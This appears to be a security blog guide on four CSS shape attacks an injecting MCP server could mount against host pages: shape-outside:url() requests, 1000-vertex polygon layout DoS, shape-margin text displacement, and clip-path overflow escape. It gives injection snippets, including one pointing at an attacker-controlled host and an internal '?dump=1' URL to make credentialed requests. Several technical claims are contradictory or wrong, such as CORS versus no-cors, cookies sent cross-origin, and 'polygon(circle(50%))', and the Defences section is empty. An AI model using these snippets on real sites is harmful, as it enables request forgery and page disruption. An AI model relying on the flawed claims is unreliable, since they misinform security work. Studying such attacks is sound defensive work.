Security Guide

MCP server CSS shapes security — shape-outside:url() SSRF, extreme polygon vertex DoS, shape-margin float displacement, clip-path containment escape

CSS shape-outside and clip-path shapes (Chrome 37+, Firefox 62+, Safari 10.1+) control how text flows around floated elements and how elements are visually clipped. For MCP servers with CSS injection capability, these properties create four attack surfaces: triggering server-side request forgery via image URL in shape-outside, layout denial of service via extreme polygon vertex counts, displacing host text far beyond a float's actual dimensions via shape-margin, and escaping overflow:hidden containment boundaries via clip-path geometry.

CSS shape-outside and clip-path — property overview

shape-outside applies to floated elements and defines a shape that text wraps around, rather than wrapping around the element's rectangular margin box. It accepts geometric shapes — circle(), ellipse(), inset(), polygon(), path() — or a url() reference to an image, where the browser computes the float wrap shape from the image's alpha channel. clip-path visually clips an element to a shape, hiding content outside the shape's boundary. shape-margin adds a margin around the shape-outside boundary, extending the float clearance zone. These properties interact with float layout, stacking contexts, and overflow containment in ways that create distinct attack surfaces for injected MCP server code.

Attack 1: shape-outside:url() — SSRF via image shape fetch

When shape-outside is set to a url() value, the browser fetches the referenced image to compute the alpha-channel-based wrap shape. This fetch is initiated by the CSS engine, not by JavaScript — it is a browser-native network request that carries the page's credentials (cookies) for same-origin or credentialed cross-origin requests:

/* MCP server: inject shape-outside:url() on a host float element to trigger SSRF */
.host-float, .product-image, .sidebar-image, img[style*="float"] {
  shape-outside: url('https://attacker-controlled.example.com/shape.png') !important;
  /* When the browser resolves this CSS rule:
     1. A network request is made to attacker-controlled.example.com/shape.png
     2. The request carries the page's cookies (for cross-origin, browser uses
        the CORS mode for stylesheets — the URL is fetched in CORS mode, but
        CSS image fetches use 'no-cors' for most cross-origin images in shape-outside)
     3. The request appears in the page's network waterfall as an IMG or CSS fetch
     4. It does NOT trigger a CORS preflight — the URL() in CSS properties is fetched
        as a 'no-cors' request in most browsers

     SSRF vector: shape.png endpoint on an internal server receives the request
     with the user's session cookies attached.
     If the user is authenticated to an internal API at that URL:
     GET https://attacker-controlled.example.com/shape.png
     → server at that URL receives: Cookie: session=abc123...

     More targeted variant using a private network URL:
     shape-outside: url('http://internal-api.corp.example.com/secret?dump=1')
     The browser fetches this internal URL on behalf of the victim user,
     including their intranet credentials/cookies.
     Response is used to compute the alpha-channel wrap shape (and discarded),
     but the GET request to the internal URL already constitutes SSRF.

     Important: unlike fetch() or XMLHttpRequest, CSS url() fetches:
     - Are not blocked by connect-src CSP (they fall under img-src or default-src)
     - Do not appear in performance observer fetch entries
     - Are not subject to CORS preflight
     - Are harder to detect in network monitor at high zoom (blend with legitimate
       asset fetches in the CSS image waterfall) */
}

CSP bypass path. A strict connect-src 'self' CSP directive blocks fetch() and XMLHttpRequest to external URLs but does not block CSS url() references — those fall under img-src (or default-src as a fallback). If the host's CSP does not explicitly restrict img-src to 'self', an MCP server can use shape-outside:url() to make credentialed requests to any origin. See the CSP deep dive for fetch directive coverage gaps.

Attack 2: Complex polygon() shape — float-wrap computation DoS

Float wrap computation for shape-outside:polygon() requires the browser to compute line-by-line intersections between the shape boundary and each text line of the adjacent content. The per-line cost scales with the number of polygon vertices — a polygon with thousands of vertices requires thousands of intersection computations per text line. On a floated element adjacent to a large text block, this is a synchronous layout DoS:

/* MCP server: inject an extreme polygon shape on a host float element */
.host-float {
  float: left;
  shape-outside: polygon(
    /* 1000-vertex polygon approximating a circle */
    /* Generated: polygon(0% 50%, 0.3% 43.7%, 0.6% 37.5%, 1.2% 31.4%,
       2.0% 25.5%, 2.9% 19.7%, 4.1% 14.2%, 5.5% 9.0%, 7.1% 4.1%,
       9.0% -0.5%, ... 1000 vertices total) */
    0% 50%, 0.3% 43.7%, 0.6% 37.5%, 1.2% 31.4%, 2.0% 25.5%,
    2.9% 19.7%, 4.1% 14.2%, 5.5% 9.0%, 7.1% 4.1%, 9.0% -0.5%
    /* [990 more vertices] */
  ) !important;
}

/* Computation cost:
   - Each text line adjacent to the float requires 1000 polygon-segment
     intersection tests (one per vertex pair defining a polygon edge)
   - A paragraph with 40 lines of text requires 40 × 1000 = 40,000 intersections
   - At 10 paragraphs (400 text lines): 400,000 intersection computations
   - These computations occur synchronously during layout
   - On mobile: ~100ms delay before first paint after MCP stylesheet injection

   The polygon itself doesn't need to be complex in appearance.
   A "circle" drawn with 1000 vertices creates the same visual output
   as polygon(circle(50%)) but at 1000× the computation cost.

   The attack is invisible: the float looks the same, the text wrapping
   looks normal, there is no DOM mutation. */

Attack 3: shape-margin extends float clearance to displace host text

The shape-margin property adds a margin around the shape-outside boundary, extending the float clearance zone. Text must clear the shape margin as well as the shape itself. An MCP server can inject a large shape-margin on a host float element, extending its float clearance zone far beyond the float's actual dimensions — displacing host text away from the float by an arbitrary amount:

/* MCP server: inject large shape-margin on host float to displace content */
.host-sidebar-image, .product-thumbnail[style*="float"] {
  shape-outside: margin-box;  /* use the element's margin box as the base shape */
  shape-margin: 40vw !important;  /* extend clearance zone by 40% of viewport width */
  /* Effect on a right-floated thumbnail (100px × 100px):
     Normal float layout: text wraps to the left of the thumbnail with 0px gap.
     With shape-margin:40vw: text must clear 40vw to the RIGHT of the shape boundary.
     In a 1200px viewport: shape-margin = 480px.
     Text adjacent to the thumbnail must start 480px from the thumbnail's boundary.
     Since the thumbnail is right-floated near the right edge, the text is pushed
     to the extreme left — essentially the entire inline axis is consumed by
     the shape clearance, forcing text below the float entirely.

     Visual result: the entire first N paragraphs that would normally wrap beside
     the thumbnail are instead pushed below it.
     N depends on how tall the content column is relative to the float height.

     shape-margin:100vw: pushes all text on the same line as the float below it.
     Equivalent to float:none but achieved via CSS injection on the float's shape,
     not by modifying the float property itself. Harder to detect. */
}

/* shape-margin on a transparent float element used as a spacer:
   MCP injects a 0×0 transparent float with shape-margin:30vw.
   This inserts an invisible clearance zone 30% wide anywhere in the document.
   Appears as broken text wrapping with no visible cause. */

Attack 4: clip-path geometry escaping overflow:hidden

CSS clip-path visually clips an element to the specified shape — content outside the shape boundary is invisible. In most implementations, clip-path does not establish a new stacking context by itself (unlike filter), but it interacts with overflow:hidden in ways that vary across browsers. In some browser versions, a clip-path with a shape that extends outside the element's own box can paint outside the overflow:hidden boundary of the element's parent:

/* MCP server: use clip-path shape extending outside element box to escape containment */

/* The attack scenario: host has a card component with overflow:hidden to clip content */
/* Host CSS (expected behaviour): */
.card { overflow: hidden; border-radius: 8px; }
.card-content { /* clips to card boundary */ }

/* MCP server injection on a child element */
.card-content .mcp-element {
  clip-path: polygon(
    -100% -100%,   /* extends far outside the element's own box */
    200% -100%,
    200% 200%,
    -100% 200%
  );
  /* In browsers where clip-path with negative/oversized coordinates is computed
     relative to the element's own box AND the clip-path does not create
     an overflow context:
     - The clip-path visual region extends outside the mcp-element's own box
     - Whether it bleeds outside .card's overflow:hidden depends on the browser's
       clip region containment behavior
     - In Chrome pre-114 and Safari pre-17: some clip-path geometries bleed
       outside overflow:hidden in specific compositing scenarios
     - The bleed is visually subtle (typically only affects shadows or
       compositing layer boundaries) but demonstrates the escape */
}

/* More practically useful: clip-path on an MCP overlay element to create
   a visible shape that appears outside its layout bounding box —
   making MCP content appear to "float" over host elements without z-index
   manipulation and without modifying the MCP element's position:fixed/absolute.
   The clip-path shape extends into the visual space of host elements,
   overlapping their content visually while the MCP element's layout box
   stays within its assigned grid/flex area. */

Paint-order interaction. clip-path on a stacking context member paints the clip as part of that member's paint record. In layered rendering, if the clipped element is on a different compositor layer than the parent with overflow:hidden, the browser may not apply the overflow clip to the already-composited layer — leading to visual overflow. This is a known category of browser compositor bug that clip-path with negative-value coordinates can trigger reliably on specific browser versions.

AttackPrerequisiteWhat it enablesSeverity
shape-outside:url() SSRFCSS injection + img-src CSP not restricted to selfBrowser makes credentialed network request to attacker-controlled URL to compute alpha-channel shape — SSRF that bypasses connect-src CSP and CORS preflight, appears as an image fetch in network waterfallHIGH
Complex polygon() float-wrap DoSCSS injection + host has floated elements adjacent to long text1000-vertex polygon forces 40,000+ intersection computations for a 40-line paragraph — synchronous layout DoS causing 100ms+ delay on mobile during float-wrap computationMEDIUM
shape-margin float clearance displacementCSS injection + host has floated thumbnail or sidebar elementsshape-margin:40vw extends float clearance by 40% of viewport, pushing all adjacent text below the float — equivalent to breaking float layout via a CSS property that is harder to detect than modifying the float property directlyMEDIUM
clip-path geometry containment escapeCSS injection + host relies on overflow:hidden for visual clippingclip-path with negative/oversized coordinates can visually bleed outside the overflow:hidden parent in specific browser/compositor combinations — MCP content appears outside its layout boundaryLOW

Defences

SkillAudit findings for this attack surface

HIGHshape-outside:url() SSRF via CSS image fetch: MCP server sets shape-outside:url(external-url) on a host float element — browser fetches the external URL to compute the alpha-channel wrap shape, making a credentialed network request that bypasses connect-src CSP and CORS preflight, appearing in the network waterfall as an image fetch
MEDIUMComplex polygon() float-wrap computation DoS: MCP server injects shape-outside with a polygon containing 1000+ vertices on a host float element adjacent to long text — forces thousands of intersection computations per text line, causing synchronous layout DoS on mobile during float-wrap layout
MEDIUMshape-margin:40vw float clearance displacement: MCP server injects large shape-margin on a host float thumbnail or sidebar image, extending the float clearance zone by 40% of viewport width — forces all adjacent text below the float, breaking the host's intended text-beside-image layout without modifying the float property itself
LOWclip-path geometry overflow:hidden containment escape: MCP server uses clip-path with negative/oversized coordinates on an element inside an overflow:hidden parent — in specific browser/compositor combinations, the clip region bleeds outside the overflow:hidden boundary, allowing MCP content to visually appear outside its layout boundary

Related: CSS masking security covers mask-image:url() as a related SSRF vector. CSS clip-path security covers the full clip-path attack surface including invisible click traps. CSS filter/backdrop-filter security covers stacking context injection via filter properties.

← Blog  |  Security Checklist